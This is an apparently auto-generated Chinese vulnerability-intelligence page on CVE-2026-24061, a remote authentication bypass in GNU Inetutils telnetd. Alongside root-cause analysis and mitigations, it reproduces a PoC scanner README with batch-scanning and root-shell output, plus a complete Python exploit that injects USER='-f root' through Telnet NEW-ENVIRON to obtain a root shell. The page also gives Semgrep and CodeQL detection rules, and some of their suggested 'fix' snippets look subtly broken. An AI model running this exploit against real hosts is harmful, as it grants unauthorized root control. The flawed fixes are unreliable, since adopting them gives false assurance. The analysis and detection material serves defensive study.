🎯 CVE-2026-24061 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-24061 深度技术分析
📊 聚合 4 来源💣 含 EXP🧪 含 PoC🕵️ 含指纹
NVD-LatestExploit-DBPoC-in-GitHubwatchTowr Labs
摘要：CVE-2026-24061 是 GNU Inetutils 中 telnetd 组件存在的一个远程认证绕过漏洞，CVSS 评分为 9.8（Critical）。攻击者无需任何凭据，仅通过构造特制的 Telnet NEW-ENVIRON 子协商报文，将环境变量 USER 设置为 “-f root”，即可诱使 telnetd 将参数透传给 /bin/login，从而使 login 跳过认证流程，直接获取 root 权限的系统 shell。该漏洞影响 GNU Inetutils 2.7 及更早版本，目前已有公开的 Exploit 代码，属于可被远程利用的高危漏洞。
📌 漏洞概述
- CVE 编号：CVE-2026-24061
- CVSS 评分：9.8（Critical）
- 攻击向量：远程（Network）
- 攻击复杂度：低（Low）
- 所需权限：无需任何权限（None）
- 漏洞类型：认证绕过（Authentication Bypass）
- 影响版本：GNU Inetutils 2.7 及更早版本（包括 2.0 – 2.6，以及 2.7-1 等发行版修订版本）
- 修复版本：GNU Inetutils 2.7-2（后续版本亦已修复）
该漏洞由安全研究人员 Ali Guliyev（infat0x）发现，并已在 Exploit-DB 上公开完整的利用代码。由于攻击者可以在未认证的情况下直接获取 root shell，该漏洞在实际攻击中可导致目标系统完全失陷。
🔬 漏洞根因分析
GNU Inetutils 的 telnetd 实现中，在处理 Telnet 协议（RFC 854）所定义的 NEW-ENVIRON 子协商（RFC 1572）时存在严重缺陷。Telnet 客户端和服务器可以通过 NEW-ENVIRON 选项交换环境变量，以便在登录时向服务器传递用户的环境信息。该机制本身是 Telnet 标准的一部分，但 GNU Inetutils 的 telnetd 在实现这一功能时，没有对接收到的环境变量名称和值进行充分的过滤与合法性验证，尤其是对与认证相关的关键变量缺乏处理。
在正常的 Telnet 登录流程中，telnetd 会启动 /bin/login 进程，并将客户端提供的用户名（通常通过 TELNET 终端类型或登录提示交互）作为参数传递给 login。而 login 程序支持多个命令行参数，其中 -f root（或 --force root）具有特殊含义：它表示该用户已经被外部机制认证，无需再次输入密码，直接以该用户身份登录。这一选项本是用于替代类似 rlogin、ssh 等已经完成身份验证的服务，它告诉 login 跳过密码验证阶段。
在易受攻击的 telnetd 实现中，telnetd 将收到的环境变量 USER 的值直接拼接或作为单独的参数传递给 /bin/login。攻击者可以在 NEW-ENVIRON 子协商中，将 USER 变量的值设置为 -f root。具体构造的报文形式为：IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE。telnetd 在解析出 USER 变量的值后，未做任何安全检查，便将其作为 login 的参数。当 login 接收到 -f root 时，就认为 root 用户的身份已经被某个前置认证过程确认，从而不再询问密码，直接启动一个以 root 权限运行的 shell。
从代码层来看，漏洞的核心在于没有对 USER 环境变量进行“白名单”或“黑名单”处理。攻击者可以轻松绕过任何基于用户名枚举或口令猜测的防护，因为认证阶段被完全跳过。值得注意的是，这个漏洞并不需要攻击者已经具备系统上的任何账户，也不需要交互式输入用户名，只需在 TCP 23 端口发送精心构造的 Telnet 数据包即可。即使 telnetd 开启了 NO_LOGIN_P 或类似的额外选项，该漏洞依然可能触发，因为问题出在 login 参数传递的逻辑上，而非简单的登录限制配置。
进一步分析，该漏洞与 2026 年披露的另一个 telnetd 漏洞 CVE-2026-32746（LINEMODE SLC 处理程序中的预认证缓冲区溢出）不同，CVE-2026-24061 是逻辑漏洞，利用过程稳定，不需要考虑内存破坏或堆栈布局，因此更容易被批量扫描和自动化利用。公开的 PoC 代码已经展示了完整的交互流程，攻击者连接目标后，通过自动化的 IAC 应答与环境注入，即可获得一个交互式 root shell。
💥 影响与危害
- 远程未授权 Root Shell：攻击者无需任何凭据，即可通过构造一个 Telnet 数据包获取目标系统上 root 权限的 shell，意味着完全控制目标主机。
- 完全机密性、完整性和可用性丧失：拥有 root 权限后，攻击者可以读取任意文件（如 /etc/shadow）、植入后门、安装 rootkit、修改系统配置、窃取敏感数据，甚至通过内网横向移动攻击其他系统。
- 蠕虫化传播风险：由于利用逻辑简单，该漏洞可以被整合到自动化扫描和攻击工具中，在互联网上大规模扫描开放 23 端口的主机，并快速传播恶意程序。
- 影响面广：GNU Inetutils 广泛存在于各种 Linux 发行版中，尤其是一些老旧设备、网络设备、嵌入式系统、工控系统等仍可能默认启用 telnetd，导致攻击面巨大。
- 绕过安全设备：该漏洞是利用 Telnet 标准协议功能，不涉及复杂的畸形数据包，传统入侵检测系统可能无法轻易识别恶意特征。
虽然 CISA KEV（已知被利用漏洞目录）尚未收录该 CVE，但鉴于 PoC 已公开，且 CVSS 高达 9.8，实际在野利用只是时间问题。安全团队必须将其视为最高优先级进行处置。
🛡️ 修复与缓解
- 升级补丁：GNU Inetutils 官方已在 2.7-2 版本中修复该漏洞。请立即升级到 2.7-2 或更高版本，或应用你的 Linux 发行版提供的安全修补包（例如 Debian/Ubuntu 的
inetutils-telnetd更新）。 - 彻底禁用 Telnet 服务：强烈建议停止并卸载
telnetd，改用 SSH（OpenSSH）进行远程管理。Telnet 本身不加密，传输用户凭据和数据都是明文，即使没有此漏洞也不应继续使用。 - 网络层缓解：如果因业务原因暂时无法关闭 Telnet，必须使用防火墙/安全组限制仅允许可信 IP 段访问 TCP 23 端口，并启用全流量日志审计。
- 访问控制增强：在 telnetd 部署位置增加 TCP 包装器（hosts.allow/hosts.deny）或 ACL 规则，禁止从不可信网络发起 Telnet 连接。
- 入侵检测规则：升级 Snort/Suricata/IDS 规则，检测包含
USER变量值以“-”开头的 Telnet NEW-ENVIRON 子协商报文，以及异常的 login 参数行为。 - 监控与应急：持续监控日志中是否存在非法的
login -f调用记录，并检查系统是否有异常 root 登录会话。若发现可疑活动，立即隔离主机并进行取证分析。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源ekomsSavior/telnet_scan针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# Telnet Vulnerability Scanner (CVE-2026-24061 &
CVE-2026-32746)
[](https://github.com/ekomsSavior)
A Python-based security assessment tool that detects and (where applicable) exploits two critical vulnerabilities in GNU InetUtils telnetd:
- **CVE-2026-24061** – Authentication bypass via `USER` environment variable injection (CVSS 9.8)
- **CVE-2026-32746** – Pre-authentication buffer overflow in LINEMODE SLC handler (CVSS 9.8)
## Important Disclaimer
**This tool is for authorized security testing and educational purposes only.**
Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors assume no liability for misuse or damage caused by this tool. Use at your own risk.
## Features
- **Single target scanning** – Enter IP addresses or domain names at runtime
- **Batch scanning** – Upload a file containing multiple targets (one per line)
- **Selective testing** – Test either vulnerability individually or both
- **CVE-2026-24061 exploitation** – If vulnerable,
the tool drops you into an interactive root shell directly in the same terminal
- **CVE-2026-32746 detection** – Identifies vulnerable systems via controlled crash detection
- **Clean terminal handling** – Raw mode shell with proper restoration on exit
- **Connection validation** – Distinguishes between filtered ports,offline services,
and actual vulnerabilities
- **Verbose debugging** – Set `TELNET_SCAN_VERBOSE=1` to see every IAC packet and step-by-step exploit narrative
- **Docker lab environment** – Self-contained vulnerable target for safe testing
## Installation
```bash
git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
```
## Usage
### Basic Execution
```bash
python3 telnet_scanner.py
```
### Docker Lab (Safe Testing)
Test the exploit against a known vulnerable target without risking real systems:
```bash
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1,
Port: 2323
```
The lab runs a vulnerable GNU InetUtils 2.5 telnetd in an isolated container,
bound only to localhost. No network exposure.
### Verbose Mode
Debug the telnet handshake and see exactly what's happening on the wire:
```bash
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
```
Verbose output shows:
- Every IAC command (DO/WILL/SB) sent and received
- Decoded telnet option names
- Payload hex dumps for subnegotiations
- Step-by-step exploit flow (6-step handshake)
### Single Target Workflow
1. Choose option `1`
2. Enter target (IP or domain,
e.g.,
`192.168.1.100` or `example.com`)
3. Specify port (default is `23` if left empty)
4. Select test type:
- `1` – Both vulnerabilities
- `2` – Only CVE-2026-24061 (authentication bypass)
- `3` – Only CVE-2026-32746 (buffer overflow)
### Batch Scanning Workflow
1. Create a file with targets (one per line)
Example `targets.txt`:
```
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# This is a comment line - ignored
```
2. Choose option `2`
3. Enter the filename
4. Specify port (default is `23`)
5. Select test type (1,
2,or 3)
6. The scanner will:
- Show progress for each target
- Display results as they complete
- Provide a summary table at the end
### When a Shell is Obtained
If CVE-2026-24061 succeeds:
1. The vulnerability is detected
2. An interactive root shell appears **directly in the same terminal window**
3. Type commands and see output immediately (e.g.,`id`,`whoami`,
`ls`)
4. Press `Ctrl+C` to exit the shell and return to the scanner menu
5. For batch scans,
you'll be prompted whether to interact with the shell or continue scanning
No separate terminal or extra steps required.
## How It Works
### CVE-2026-24061 – Authentication Bypass
The exploit follows a precise 6-step telnet handshake to ensure compatibility with real GNU InetUtils telnetd:
1. **Wait for server negotiation** – Up to 15 seconds for reverse DNS and initial `DO` options
2. **Respond WILL** – Acknowledge `TTYPE`,
`TSPEED`,`XDISPLOC`,`NEW_ENVIRON`
3. **Wait for SB SEND** – Subnegotiation requests from the server
4. **Send exploit payload** – Set `USER="-f root"` via `NEW_ENVIRON` subnegotiation
5. **Handle remaining exchanges** – Respond to `DO`/`WILL` for `SGA`,`ECHO`,`LINEMODE`,`NAWS`
6. **Detect shell** – Look for `# `,`root@`,
or `$ ` prompt
A keepalive thread sends `IAC NOP` every 2 seconds to prevent telnetd's `ttloop()` from detecting EOF and calling `exit(1)` before the payload is processed.
Vulnerable telnetd passes `-f root` to `/usr/bin/login`,
bypassing authentication and granting immediate root shell access.
### CVE-2026-32746 – Buffer Overflow Detection
- Negotiates the `LINEMODE` option (RFC 1184)
- Sends 500+ SLC triplets (1500+ bytes) to overflow the fixed-size buffer
- Monitors for connection resets/crashes to confirm vulnerability
### Connection Validation
- Pre-scans to verify service availability before attempting exploits
- Distinguishes between:
- Filtered ports (firewall blocking)
- Offline services (no service running)
- Vulnerable services (successful exploit)
## Sample Output
### Single Target
```
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 ->
192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
```
### Verbose Mode Output (Partial)
```
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
```
### Batch Scan
```
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 ->
192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash;
likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com ->
93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received;
may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
```
## Mitigation
If you discover vulnerable systems,
apply these fixes:
1. **Upgrade GNU InetUtils** to version 2.8 or later
2. **Disable telnetd** and block TCP/23 at network boundaries
3. **Restrict access** to trusted networks only
4. **Monitor logs** for connections with `NEW_ENVIRON USER` values starting with `-f`
## Development &Testing
### Docker Lab
The included `lab/` directory provides a safe,
reproducible test environment:
```bash
cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1,
Port: 2323
```
Lab features:
- GNU InetUtils 2.5 compiled from source (vulnerable versions)
- Runs telnetd inside an isolated container
- Bound only to localhost:2323 – safe for development
- Includes a test user (`labuser:labpass123`) for debugging
Stop the lab when finished:
```bash
cd lab &&
docker compose down
```
## Known Limitations
- The overflow test (CVE-2026-32746) may crash the target telnetd service
- Arrow keys and terminal resizing are not fully supported in the interactive shell
- Some firewalls or network configurations may interfere with Telnet option negotiation
- Windows users: The interactive shell requires a Unix-like terminal (WSL,Cygwin,
or Linux/macOS)
## Acknowledgments
**Special thanks to [@leetcrypt](https://github.com/leetcrypt)** – The proper 6-step handshake,keepalive thread,verbose mode,and Docker lab is killa!
---
DISCLAIMER: for authorized security testing and educational purposes only.⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码（[local] GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation）。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52523针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation
# Date: 2026-01-24
# Exploit Author: Ali Guliyev (infat0x)
# Author GitHub: https://github.com/infat0x
# Vendor Homepage: https://www.gnu.org/software/inetutils/
# Software Link: https://ftp.gnu.org/gnu/inetutils/
# Version: GNU InetUtils 2.0 through 2.6
# Tested on: Linux (various distributions using vulnerable inetutils-telnetd)
# CVE : CVE-2026-24061
import socket
import sys
import threading
import argparse
import re
"""
Description:
The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to
authentication bypass via environment variable injection. By passing a
crafted USER environment variable (e.g.,
"-f root") during the Telnet
NEW-ENVIRON subnegotiation,an attacker can force the login process
to grant a root shell without requiring a password.
Technical Analysis:
The vulnerability exists because telnetd fails to sanitize the USER variable
before passing it as an argument to /bin/login. By prepending the -f flag,
the login utility skips the authentication phase.
"""
# Telnet Protocol Constants (RFC 854)
IAC = 255 # Interpret As Command
DONT = 254
DO = 253
WONT = 252
WILL = 251
SB = 250 # Subnegotiation Begin
SE = 240 # Subnegotiation End
# Telnet Option Codes (RFC 1572)
NEW_ENVIRON = 39
IS = 0
VAR = 0
VALUE = 1
def handle_negotiation(sock,cmd,
opt):
"""Responds to standard Telnet negotiation sequences."""
if cmd == DO and opt == NEW_ENVIRON:
# Agreement to use the environment variable passing option
sock.sendall(bytes([IAC,WILL,NEW_ENVIRON]))
elif cmd == DO:
# Refuse other options for simplicity
sock.sendall(bytes([IAC,WONT,opt]))
elif cmd == WILL:
# Acknowledge the server's willingness
sock.sendall(bytes([IAC,DO,
opt]))
def handle_subnegotiation(sock,sb_data,user_payload):
"""Executes the core exploit by injecting the malformed USER variable."""
if len(sb_data) >0 and sb_data[0] == NEW_ENVIRON:
# Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
env_msg = (
bytes([IAC,SB,NEW_ENVIRON,IS,VAR]) +
b'USER' +
bytes([VALUE]) +
user_payload.encode('ascii') +
bytes([IAC,
SE])
)
sock.sendall(env_msg)
def process_telnet_stream(data,sock,user_payload):
"""Parses incoming data to separate control signals from actual text."""
clean_output = b''
i = 0
while i <len(data):
if data[i] == IAC and i + 1 <len(data):
cmd = data[i + 1]
if cmd in [DO,DONT,WILL,WONT] and i + 2 <len(data):
handle_negotiation(sock,cmd,
data[i + 2])
i += 3
elif cmd == SB:
se_idx = i + 2
while se_idx <len(data) - 1:
if data[se_idx] == IAC and data[se_idx + 1] == SE:
break
se_idx += 1
if se_idx <len(data) - 1:
handle_subnegotiation(sock,data[i + 2:se_idx],
user_payload)
i = se_idx + 2
else:
i += 1
else:
i += 2
else:
clean_output += bytes([data[i]])
i += 1
# Filter ANSI escape sequences for a cleaner shell experience
ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
return ansi_escape.sub(b'',clean_output)
def socket_reader_thread(sock,
user_payload):
"""Background thread to handle server output."""
try:
while True:
raw_data = sock.recv(4096)
if not raw_data:
break
display_data = process_telnet_stream(raw_data,sock,user_payload)
if display_data:
sys.stdout.buffer.write(display_data)
sys.stdout.buffer.flush()
except (ConnectionResetError,
BrokenPipeError):
pass
finally:
print("\n[*] Connection closed.")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool")
parser.add_argument('host',help="Target IP address")
parser.add_argument('-p','--port',type=int,default=23,
help="Telnet port (default 23)")
args = parser.parse_args()
# The exploit payload to bypass login
user_payload = "-f root"
try:
client_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client_sock.settimeout(5)
client_sock.connect((args.host,
args.port))
client_sock.settimeout(None)
print(f"[*] Connected to {args.host}:{args.port}")
print(f"[*] Sending payload: {user_payload}")
except Exception as e:
print(f"[!] Connection failed: {e}")
sys.exit(1)
# Launch output listener
threading.Thread(target=socket_reader_thread,args=(client_sock,user_payload),
daemon=True).start()
print("[*] Interactive session started. Type commands below.\n")
try:
while True:
# Simple interactive shell loop
char = sys.stdin.read(1)
if not char:
break
client_sock.sendall(char.encode())
except KeyboardInterrupt:
print("\n[*] Exploit session terminated by user.")
finally:
client_sock.close()
if __name__ == "__main__":
main()🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Semgrep 审计规则: CVE-2026-24061.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-24061.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-24061.yaml
rules:
- id: CVE-2026-24061-command-injection-bash
languages: [bash]
severity: ERROR
message: "telnetd in GNU InetUtils before 2.7 passes USER environment variable directly to /bin/login without sanitization,
allowing authentication bypass via -f flag."
patterns:
- pattern-either:
- pattern: "login -p $USER"
- pattern: "login -f $USER"
- pattern: "/bin/login $ARGS"
- pattern: "USER=..."
fix: "export USER=$(echo $USER |sed 's/^-//') &&
login -p \"$USER\" # Sanitize USER variable before passing to login"
metadata:
cwe: "CWE-77"
owasp: "A1: Injection"
technology: inetutils
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24061"
- id: CVE-2026-24061-auth-bypass-c
languages: [c]
severity: ERROR
message: "telnetd in GNU InetUtils before 2.7 passes USER env var directly to /bin/login without sanitization. Crafted USER='-f root' bypasses authentication."
patterns:
- pattern-either:
- pattern: "login($USER)"
- pattern: "execve(\"/bin/login\",
...)"
- pattern: "popen(\"login ...\")"
fix: "char *sanitized_user = strdup(user);sanitized_user[0] == '-' &&sanitized_user++;login(sanitized_user);
# Strip leading dashes before calling login"
metadata:
cwe: "CWE-306"
owasp: "A2: Broken Authentication"
technology: inetutils
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24061"
- id: CVE-2026-24061-env-injection-c
languages: [c]
severity: ERROR
message: "Environment variable USER passed unsanitized to subprocess in GNU InetUtils telnetd,
enabling injection of login flags."
patterns:
- pattern-either:
- pattern: "setenv(\"USER\",$X,1)"
- pattern: "putenv($X)"
- pattern-not: sanitize()
fix: "if (strstr(env_val,\"-\") != NULL) {env_val = \"default_user\";}setenv(\"USER\",env_val,1);
# Reject env vars containing dashes"
metadata:
cwe: "CWE-77"
owasp: "A1: Injection"
technology: inetutils
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24061"
- id: CVE-2026-24061-env-sanitize-python
languages: [python]
severity: ERROR
message: "Telnet NEW-ENVIRON subnegotiation allows injecting USER environment variable to bypass authentication (CVE-2026-24061). Ensure USER variable is sanitized."
patterns:
- pattern: "env_msg = ..."
- pattern-not: "sanitize()"
fix: "if user_payload.startswith('-'): user_payload = 'USER=' + user_payload.lstrip('-');
env_msg = bytes([IAC,SB,NEW_ENVIRON,IS,VAR]) + b'USER' + bytes([VALUE]) + user_payload.encode('ascii') + bytes([IAC,SE])"
metadata:
cwe: "CWE-306"
owasp: "A2: Broken Authentication"
technology: telnetlib
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-24061"🛡️ CodeQL 审计规则: CVE-2026-24061.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-24061.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id cpp/command-injection/cve-2026-24061
* @name Command injection in GNU InetUtils telnetd via environment variable injection
* @description User-controlled environment variables (USER) are passed unsanitized to /bin/login,
allowing command injection and authentication bypass
* @problem.severity error
* @tags security
* external/cwe/cwe-077
* external/cwe/cwe-287
*/
import cpp
import semmle.code.cpp.dataflow.DataFlow
import DataFlow::PathGraph
class UnsafeEnvSource extends DataFlow::Node {UnsafeEnvSource() {exists(FunctionCall fc |
fc.getTarget().hasGlobalName("getenv") and
fc.getArgument(0).getValue() = "USER" and
this.asExpr() = fc
)
}}class LoginSink extends DataFlow::Node {LoginSink() {exists(FunctionCall fc |
fc.getTarget().hasGlobalName("execvp") or
fc.getTarget().hasGlobalName("execlp") or
fc.getTarget().hasGlobalName("execle") or
fc.getTarget().hasGlobalName("system") or
fc.getTarget().hasGlobalName("popen")
) and (
any(Expr arg |arg = fc.getArgument(0)).getValue().matches("%login%") and
this.asExpr() = fc.getAnArgument()
)
}}
class EnvVarConfig extends DataFlow::Configuration {EnvVarConfig() {this = "EnvVarConfig" }override predicate isSource(DataFlow::Node source) {source instanceof UnsafeEnvSource }override predicate isSink(DataFlow::Node sink) {sink instanceof LoginSink }}from EnvVarConfig cfg,DataFlow::PathNode source,DataFlow::PathNode sink
where cfg.hasFlowPath(source,sink)
select sink.getNode(),source,sink,
"User-controlled environment variable flows to login command,allowing authentication bypass and command injection"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 08:40 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库